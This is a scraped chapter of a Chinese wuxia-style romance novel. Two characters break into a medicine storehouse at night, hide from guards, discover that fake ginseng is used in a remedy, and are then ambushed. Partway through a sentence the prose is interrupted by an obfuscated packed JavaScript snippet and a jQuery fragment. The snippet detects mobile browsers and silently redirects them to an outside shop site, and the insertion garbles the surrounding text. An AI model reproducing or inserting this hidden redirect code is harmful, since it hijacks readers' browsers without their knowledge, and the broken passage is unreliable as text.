夜色深浓,一对黑影双双出现在壹心堂药库的墙角边。
斑驳的树影中,少年摘下斗篷上的兜帽,高束的马尾随风飘动,他一双赤瞳裸露在月色下尤为特别。
“踩上来。”
他抬眼时脸上没有任何表情,转过身的目光落在身后一直静默不语的姑娘身上。
听见闻昭的话,张蝉没反应过来,她眸光动了动,认真地问:“上哪?”
阴风卷着砂砾,周围尘土飞扬。
月光透过树影,影影绰绰打在她随风轻动的裙摆上。
少年偏过头,他将斗篷扯下披在张蝉肩上,用余光扫了周围一眼,神色淡然,“踩我肩上。”
他卸下腰间的那把佩刀,半蹲下来,一把拉过张蝉的手腕,让她摸到自己肩膀的位置。
“等等,踩你身上,这......”张蝉忙拦住他的举动,她俯下身尽量压低自己的声音,道:“这不好吧。”
她刻意加重了“不好”二字。
“你不踩我身上怎么上去,难道你想走正门?”他歪头看着她无辜的脸,忍不住道:“那你得自己去问他们让不让你进。”
闻昭一边说着,一边瞅着她的反应。
他想起了什么便起身伸手将她身上的斗篷系带打了个结,又顺手把搭在张蝉背后的兜帽往她脑袋上一罩。
顿时张蝉整个人被这件宽大的斗篷遮的严严实实。
见张蝉还是无动于衷,他勾起嘴角,催促道:“快点上来,你不是想知道他们用的到底是什么药材吗,进去就知道了。”
“再等等,这就是你说的好办法?”张蝉虽然看不清墙有多高,但是心底还是犯了难。
她没想到他口中说的办法就是三更半夜来爬墙。
张蝉不由得皱起了眉,眼眸里透露出狐疑的意味,“你带我去扒人墙头?”
少年笑着应了一声。
她紧抿着唇,寒风吹动她鬓边的几缕碎发,过了好一会,她才结结巴巴地犹豫道:“闻昭,这,这并非君子所为。”
难得见她如此一本正经,闻昭怔了一下,低声笑道:“不想去呀,你要是再计较那些什么圣人之言,一会等守门的换班回来,那可就没机会了。”
闻昭的话意味明显,他吃准了张蝉一定会上去。
虽然深夜去扒人墙头不是君子所为,可俗话说事急马行田,张蝉心想自己也是为了治病救人,她抛下那些什么规矩理法,轻手轻脚地按闻昭的指示做。
她憋着气,手脚并用,一脚踩在他的肩膀上,一手攀住墙檐顺着围墙往上爬。
发觉张蝉应该还没爬上去,闻昭便绷紧了身子,小心翼翼地站直。
这比平时让他去杀人还紧张。
闻昭:“够得到吗?”
“……”
听见他的声音后,张蝉身后冒汗,不敢轻易动弹。
过了一会她才象征地点点头,轻轻地“嗯”了一声。
张蝉借着力道,好不容易够上墙檐,忽然下意识地往下瞟,见下面黑压压的一片什么也看不清。她只有右眼能见到东西,整个人重心不稳双脚轻晃了一下。
张蝉死死抓着墙檐,紧张地闭起眼睛。
忽然,有人迅速伸手握住她的脚踝,让她平稳地攀住墙砖。
她鼻尖气息微促,连带着小脸都被热的泛红。从小到大她哪里翻过墙,这竭尽全力地够到墙头上,实在让她费了不少劲。
过了半晌,她整个人才坐稳。
闻昭见她端端正正地坐在墙上一动不动,无奈笑笑。
他收了倚靠在墙边的刀,紧接着利落地跃上墙檐。
张蝉坐在墙砖上,双手冒出细细的冷汗,此刻正紧紧地扒住墙砖,两眼丝毫不敢再往下瞧。
闻昭坐在张蝉身边,见张蝉僵着脖子,眼睛都不敢向下瞟的模样,他暗暗打趣笑道:“原来你畏高啊。”
闻言,她撅着嘴,清透的瞳孔中似乎已经含上了薄怒。
感受到身边人话略带嘲笑的意味,张蝉的脸上带上了一丝愠色,她回眸瞪了他一眼,咬牙故意伸手捏了捏他的手。
张蝉没有开口说话,仍保持着原有的姿势,眼里闪过一丝胆怯和狼狈。
她没使上什么劲,倒也没让闻昭感到痛,他握紧腰间的刀柄的手微微一松。
闻昭敲了敲她的手背,放缓了声音道:“一会松手下来,我接着你。”
话音刚落,紧接着一道黑色的身影伴随一阵轻风利落飞快地消失在墙头。
闻昭抬头望着张蝉仍然是保持同一个姿势,道:“别怕,我接着你,不让你摔。”
耳边是簌簌风声,少年清越的嗓音略微缓解了她此时的恐惧。
见他气定神闲,充满笃定的保证,张蝉微微垂眸,屏息凝神,心中稍有异动。
她松了手,跨出那一步。
深色的斗篷被风吹开,耳边掠过寒风,张蝉落在了一个温暖的怀抱里。
那人的眼眸像平静得湖水,结实的肩臂紧紧地托住了张蝉的腰身。
少年垂着眸子看着怀里的姑娘,淡笑道:“怎么样,不骗你吧。”
听见他声音的这一刻,张蝉睁开紧闭的双眼,她长舒一口气,双手的指尖攀附在他的肩膀,感受到自己的心脏不再似方才那般剧烈狂跳。
鼻尖萦绕着那股熟悉的檀香味。
一瞬间,她愣了愣神,发觉两个人即使离得那么近,她也很难看清他的容貌。
*
“你说的人参是不是这些。”
“这是人参,不过应该是是五品参,便宜货没多少用的。”
张蝉仔细摸索,又凑近闻了闻味道,接着说:“也不是这种,延年丹的味道奇特,不是用这种参入药。”
“你来看看,这个重量和模样和野生人参差不多。”闻昭翻开了一旁放在最靠后的木箱。
张蝉顺着他的声音刚要去瞧,就听见库房门外传来脚步声。
“你说说你,大人让咱们守库房,你好端端的跑去喝什么酒,这大冷天的让我一个人在这上大夜。”守门的门卫中,一个身材臃肿的男子正对着自己身旁那个比他年纪大一轮的中年男子抱怨道。
中年男子双颊发红,他吞吞吐吐地说:“嗐,我家妹妹前阵子产子摆了满月酒,一时兴起多喝了几杯,不小心来晚了,你多多担待。”
“亏得是我在这吹夜风,若是大人在,你可吃不了兜着走。”
寒风吹打着老旧的窗柩,卷起药库里的一些尘土肆意飞扬。
身材较胖的男
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144206|143050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子被这些粉尘呛得重重地咳了几声,他一边将钥匙从腰间解下来,一边冲着那个满身酒气的中年男子说:“这些原先都是从盛京运来的,你得好好看管,要是少了几斤几两,仔细你的脑袋。”
“这里头是不是有什么声啊?”
说罢,他们打开了库房的门。
听见一来一回的脚步声,张蝉瞪大眼睛,她不敢喘气,胸腔里的那颗心已经快提到嗓子眼。
她方才没站稳,险些露了马脚。
身旁的人身手敏捷地拉了她一把,她躲在装药材的木箱后,被人拥在怀里。
紧绷发颤的身子紧靠着他炙热的胸膛,耳畔边是他平稳的心跳声。
她紧张地看着他。
四下寂静,男子的肩背宽阔结实,他有力的手臂覆在她的后背,恍然有一种说不清道不明的心安。
听见那两个人的脚步声离身后这个大木箱越来越近,张蝉的手心出了汗,她紧紧攥住闻昭的衣袖,整个人紧绷得像一根弦。
闻昭勾唇淡笑,他垂眸低头看着她的发顶,抬手轻轻摸了摸她的后脑勺。
张蝉感觉脑袋有点懵懵的,她努力让自己镇定下来。
他似笑非笑,也许是看出张蝉很容易紧张。
这个动作像是在安抚她。
那两个人匆匆地瞟了一眼,那个中年男子拥了拥身上的旧袄,道:“我说你疑神疑鬼吧,这黑灯瞎火,天寒地冻的哪有人啊。”
“走走走,这库房太冷了,那风都钻进骨头缝里去了,叫上老陈去打两壶酒回来暖暖身再说。”
话毕,二人的脚步声渐渐远去。
“啪嗒。”
直至听见库房外的大门落锁的声音,她才松懈下来。
张蝉情绪复杂,深深地吸了一口气,刚才两个人挨得那么近,她的所有反应闻昭都看在眼里,她飞快地打断他的话,对着面前的人道:“不许笑话我。”
她的眼睛被寒风吹得红红的,耳根也被冻得通红,轻柔的声音里染着薄怒。
闻昭本来想打趣几句,在听见她的警告后,只能无可奈何地摸了摸她的头,恰巧视线正落在她身后的那个樟木箱子上。
他拍了拍她的肩示意张蝉站远些,用刀斜斜地挑开一点缝隙。
一刹那,樟木箱子里面装的药材的异香迅速钻了出来。
张蝉眨眨眼,她嗅觉灵敏,刚闻见这股味道就反应过来,这正是她一直想找的东西。
“就是它。”她的表情又惊又喜,仿佛是寻获了什么人间至宝一样。
她兴奋地伸手往木箱子里探,麻利地折下一枝形态类似人参的药材塞进怀里。
“这不是人参。”张蝉仔仔细细地摸,用指尖掐了一小截放口中咀嚼。
闻昭见到还没来得及拦,就听她说:“是桔梗。”
张蝉闻着桔梗上的味道,猜测壹心堂是用桔梗泡药水,做成人参的模样,之后以这些东西入药制成延年丹售卖给病患。
闻昭偏头看向了一旁桌案上的账本,声音低哑:“看来得去趟荣府。”
二人出了药库,刚走上街,忽然听见身后出现羽箭出弦的嘶鸣声。
张蝉闻声回眸,惊呼出声。
慌忙之下,空气中突然出现一股血腥味。